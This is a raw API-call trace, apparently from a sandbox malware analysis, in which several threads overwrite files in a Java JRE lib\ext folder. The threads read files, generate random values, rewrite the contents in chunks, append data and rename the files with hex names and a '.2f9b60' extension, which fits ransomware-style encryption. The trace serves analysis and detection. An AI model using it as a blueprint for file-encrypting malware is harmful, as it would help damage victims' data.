WriteFile (in: hFile=0x2bbc, lpBuffer=0x423ee500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesWritten=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0242.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0242.397] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.397] ReadFile (in: hFile=0x2bbc, lpBuffer=0x4241b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesRead=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0242.401] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x7f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce625a0 [0242.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0242.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0242.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0242.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4240c580 [0242.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0242.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0242.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0242.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0242.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0242.405] WriteFile (in: hFile=0x2bbc, lpBuffer=0x4240c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesWritten=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0242.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4240c580) returned 1 [0242.409] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0xf3d0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.409] ReadFile (in: hFile=0x2bbc, lpBuffer=0x4241b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesRead=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0242.413] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0xf3d0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61f10 [0242.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8686c0 [0242.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0242.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0242.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0242.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0242.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0242.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0242.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0242.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0242.417] WriteFile (in: hFile=0x2bbc, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dafb80, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x30dafb80*=0x3c00, lpOverlapped=0x0) returned 1 [0242.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0242.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x203fa200 [0242.420] SetFilePointerEx (in: hFile=0x2bbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.420] WriteFile (in: hFile=0x2bbc, lpBuffer=0x134520*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x30dafc30, lpOverlapped=0x0 | out: lpBuffer=0x134520*, lpNumberOfBytesWritten=0x30dafc30*=0x14e, lpOverlapped=0x0) returned 1 [0242.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0242.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d510 [0242.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0242.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ec0) returned 1 [0242.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a6ec0 [0242.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0242.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7010 [0242.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7010) returned 1 [0242.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 [0242.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0242.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42058510 [0242.912] sprintf (in: _Dest=0x42058510, _Format="%c%c" | out: _Dest="9d") returned 2 [0242.912] sprintf (in: _Dest=0x42058512, _Format="%c%c" | out: _Dest="65") returned 2 [0242.912] sprintf (in: _Dest=0x42058514, _Format="%c%c" | out: _Dest="63") returned 2 [0242.912] sprintf (in: _Dest=0x42058516, _Format="%c%c" | out: _Dest="84") returned 2 [0242.912] sprintf (in: _Dest=0x42058518, _Format="%c%c" | out: _Dest="54") returned 2 [0242.912] sprintf (in: _Dest=0x4205851a, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.912] sprintf (in: _Dest=0x4205851c, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.912] sprintf (in: _Dest=0x4205851e, _Format="%c%c" | out: _Dest="29") returned 2 [0242.912] sprintf (in: _Dest=0x42058520, _Format="%c%c" | out: _Dest="63") returned 2 [0242.912] sprintf (in: _Dest=0x42058522, _Format="%c%c" | out: _Dest="61") returned 2 [0242.912] sprintf (in: _Dest=0x42058524, _Format="%c%c" | out: _Dest="ae") returned 2 [0242.912] sprintf (in: _Dest=0x42058526, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.912] sprintf (in: _Dest=0x42058528, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.912] sprintf (in: _Dest=0x4205852a, _Format="%c%c" | out: _Dest="53") returned 2 [0242.912] sprintf (in: _Dest=0x4205852c, _Format="%c%c" | out: _Dest="c4") returned 2 [0242.912] sprintf (in: _Dest=0x4205852e, _Format="%c%c" | out: _Dest="84") returned 2 [0242.912] sprintf (in: _Dest=0x42058530, _Format="%c%c" | out: _Dest="2a") returned 2 [0242.912] sprintf (in: _Dest=0x42058532, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.913] sprintf (in: _Dest=0x42058534, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.913] sprintf (in: _Dest=0x42058536, _Format="%c%c" | out: _Dest="66") returned 2 [0242.913] sprintf (in: _Dest=0x42058538, _Format="%c%c" | out: _Dest="0a") returned 2 [0242.913] sprintf (in: _Dest=0x4205853a, _Format="%c%c" | out: _Dest="30") returned 2 [0242.913] sprintf (in: _Dest=0x4205853c, _Format="%c%c" | out: _Dest="75") returned 2 [0242.913] sprintf (in: _Dest=0x4205853e, _Format="%c%c" | out: _Dest="f7") returned 2 [0242.913] sprintf (in: _Dest=0x42058540, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.913] sprintf (in: _Dest=0x42058542, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.913] sprintf (in: _Dest=0x42058544, _Format="%c%c" | out: _Dest="75") returned 2 [0242.913] sprintf (in: _Dest=0x42058546, _Format="%c%c" | out: _Dest="46") returned 2 [0242.913] RtlInitAnsiString (in: DestinationString=0x30dafca8, SourceString="9d656384540dce296361ae5d6d53c4842af87d660a3075f70df87546" | out: DestinationString="9d656384540dce296361ae5d6d53c4842af87d660a3075f70df87546") [0242.913] RtlAnsiStringToUnicodeString (in: DestinationString=0x30dafc78, SourceString="9d656384540dce296361ae5d6d53c4842af87d660a3075f70df87546", AllocateDestinationString=1 | out: DestinationString="9d656384540dce296361ae5d6d53c4842af87d660a3075f70df87546") returned 0x0 [0242.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e110 [0242.914] wcscat (in: _Dest=0x431da190, _Source="9d656384540dce" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce" [0242.914] wcscat (in: _Dest=0x431da190, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce.2f9b60" [0242.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce.2f9b60", NtPathName=0x30dafc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\9d656384540dce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11290 Thread: id = 3968 os_tid = 0xd8c [0238.469] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\meta-index")) returned 0x20 [0239.513] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index", dwFileAttributes=0x20) returned 1 [0239.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2960 [0239.696] GetFileSizeEx (in: hFile=0x2960, lpFileSize=0x3330f980 | out: lpFileSize=0x3330f980*=829) returned 1 [0239.696] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.696] ReadFile (in: hFile=0x2960, lpBuffer=0x3330f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3330f948, lpOverlapped=0x0 | out: lpBuffer=0x3330f900*, lpNumberOfBytesRead=0x3330f948*=0x4, lpOverlapped=0x0) returned 1 [0239.698] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0239.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f80 [0239.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7af0 [0239.699] NtQuerySystemTime (in: CurrentTime=0x3330f840 | out: CurrentTime=0x3330f840*=132462178435078000) returned 0x0 [0239.699] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x691e0250 [0239.699] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x516b2de7 [0239.699] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x126f4f08 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x7a1a2a45 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x75082ce8 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x36c84c91 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x5252e44e [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x3c027b5 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x3ba659da [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x72f0f4d0 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x590db0b4 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x7eb68116 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x6b0ec913 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x32cd46d3 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x4dd6e8cd [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x4dff09b4 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x7eeca29c [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x1f7d35c5 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0xe7c71b8 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x38182c09 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x7dcfed [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x1be3d615 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x5773087c [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x699be4e8 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x6874e458 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0xbc5b540 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x6eb2abd3 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x5f38f139 [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0xe4ce71a [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x28c5d6cd [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x5cd52ede [0239.700] RtlRandomEx (in: Seed=0x3330f830 | out: Seed=0x3330f830) returned 0x3cfd1fda [0239.710] ReadFile (in: hFile=0x2960, lpBuffer=0x42410190, nNumberOfBytesToRead=0x33d, lpNumberOfBytesRead=0x3330f830, lpOverlapped=0x0 | out: lpBuffer=0x42410190*, lpNumberOfBytesRead=0x3330f830*=0x33d, lpOverlapped=0x0) returned 1 [0239.710] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.710] WriteFile (in: hFile=0x2960, lpBuffer=0x4242a600*, nNumberOfBytesToWrite=0x33d, lpNumberOfBytesWritten=0x3330f834, lpOverlapped=0x0 | out: lpBuffer=0x4242a600*, lpNumberOfBytesWritten=0x3330f834*=0x33d, lpOverlapped=0x0) returned 1 [0242.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c30 [0242.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0242.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0242.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4242a600) returned 1 [0242.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42410190) returned 1 [0242.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0242.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0242.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6c90 [0242.393] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.393] WriteFile (in: hFile=0x2960, lpBuffer=0x1cebd130*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3330f950, lpOverlapped=0x0 | out: lpBuffer=0x1cebd130*, lpNumberOfBytesWritten=0x3330f950*=0x106, lpOverlapped=0x0) returned 1 [0242.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0242.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0242.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0242.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6560) returned 1 [0242.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0242.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0242.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0242.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a65c0) returned 1 [0242.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0242.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0242.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ace60 [0242.889] sprintf (in: _Dest=0x431ace60, _Format="%c%c" | out: _Dest="40") returned 2 [0242.889] sprintf (in: _Dest=0x431ace62, _Format="%c%c" | out: _Dest="60") returned 2 [0242.889] sprintf (in: _Dest=0x431ace64, _Format="%c%c" | out: _Dest="c0") returned 2 [0242.889] sprintf (in: _Dest=0x431ace66, _Format="%c%c" | out: _Dest="60") returned 2 [0242.889] sprintf (in: _Dest=0x431ace68, _Format="%c%c" | out: _Dest="a1") returned 2 [0242.889] sprintf (in: _Dest=0x431ace6a, _Format="%c%c" | out: _Dest="23") returned 2 [0242.889] sprintf (in: _Dest=0x431ace6c, _Format="%c%c" | out: _Dest="e9") returned 2 [0242.889] sprintf (in: _Dest=0x431ace6e, _Format="%c%c" | out: _Dest="7b") returned 2 [0242.889] sprintf (in: _Dest=0x431ace70, _Format="%c%c" | out: _Dest="d3") returned 2 [0242.889] sprintf (in: _Dest=0x431ace72, _Format="%c%c" | out: _Dest="13") returned 2 [0242.889] sprintf (in: _Dest=0x431ace74, _Format="%c%c" | out: _Dest="1e") returned 2 [0242.889] sprintf (in: _Dest=0x431ace76, _Format="%c%c" | out: _Dest="1a") returned 2 [0242.889] sprintf (in: _Dest=0x431ace78, _Format="%c%c" | out: _Dest="d4") returned 2 [0242.889] sprintf (in: _Dest=0x431ace7a, _Format="%c%c" | out: _Dest="2b") returned 2 [0242.889] sprintf (in: _Dest=0x431ace7c, _Format="%c%c" | out: _Dest="30") returned 2 [0242.889] sprintf (in: _Dest=0x431ace7e, _Format="%c%c" | out: _Dest="ad") returned 2 [0242.890] sprintf (in: _Dest=0x431ace80, _Format="%c%c" | out: _Dest="c4") returned 2 [0242.890] sprintf (in: _Dest=0x431ace82, _Format="%c%c" | out: _Dest="77") returned 2 [0242.890] sprintf (in: _Dest=0x431ace84, _Format="%c%c" | out: _Dest="ea") returned 2 [0242.890] sprintf (in: _Dest=0x431ace86, _Format="%c%c" | out: _Dest="ad") returned 2 [0242.890] RtlInitAnsiString (in: DestinationString=0x3330f9c8, SourceString="4060c060a123e97bd3131e1ad42b30adc477eaad" | out: DestinationString="4060c060a123e97bd3131e1ad42b30adc477eaad") [0242.890] RtlAnsiStringToUnicodeString (in: DestinationString=0x3330f998, SourceString="4060c060a123e97bd3131e1ad42b30adc477eaad", AllocateDestinationString=1 | out: DestinationString="4060c060a123e97bd3131e1ad42b30adc477eaad") returned 0x0 [0242.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceb80 [0242.891] wcscat (in: _Dest=0x1b85f110, _Source="4060c060a1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1" [0242.891] wcscat (in: _Dest=0x1b85f110, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1.2f9b60" [0242.891] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1.2f9b60", NtPathName=0x3330f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\4060c060a1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1050 [0243.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1050) returned 1 [0243.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432152e0) returned 1 [0243.312] NtQueryInformationFile (in: FileHandle=0x2960, IoStatusBlock=0x3330f9d8, FileInformation=0x3330f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3330f9d8, FileInformation=0x3330f9e8) returned 0x0 [0243.312] NtSetInformationFile (FileHandle=0x2960, IoStatusBlock=0x3330f9d8, FileInformation=0x3330f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0243.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0243.461] FlushFileBuffers (hFile=0x2960) returned 1 [0243.466] CloseHandle (hObject=0x2960) Thread: id = 3969 os_tid = 0xc64 [0238.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar")) returned 0x20 [0239.528] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar", dwFileAttributes=0x20) returned 1 [0239.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c54 [0239.732] GetFileSizeEx (in: hFile=0x2c54, lpFileSize=0x25bef800 | out: lpFileSize=0x25bef800*=15941) returned 1 [0239.732] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x3e41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.732] ReadFile (in: hFile=0x2c54, lpBuffer=0x25bef780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25bef7c8, lpOverlapped=0x0 | out: lpBuffer=0x25bef780*, lpNumberOfBytesRead=0x25bef7c8*=0x4, lpOverlapped=0x0) returned 1 [0239.756] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0239.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0239.757] NtQuerySystemTime (in: CurrentTime=0x25bef6c0 | out: CurrentTime=0x25bef6c0*=132462178435702000) returned 0x0 [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x54874f00 [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x3afaf6da [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0xef3525c [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x7b9454fb [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x12611cbe [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0xf97a984 [0239.757] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x46695892 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0xe90d3 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x1b819111 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x38867028 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x5d172aa [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x66c9966 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x35e2ac1a [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x6d0e381b [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x7e2935d0 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x68ca212 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x5f52247a [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x566a14f6 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x48f1ee25 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x2121bc91 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x29a54580 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x49ee7bc0 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x1a217c20 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x380eed30 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x7532fc47 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x67561479 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x77276119 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x7cef6703 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x3b50a85a [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: 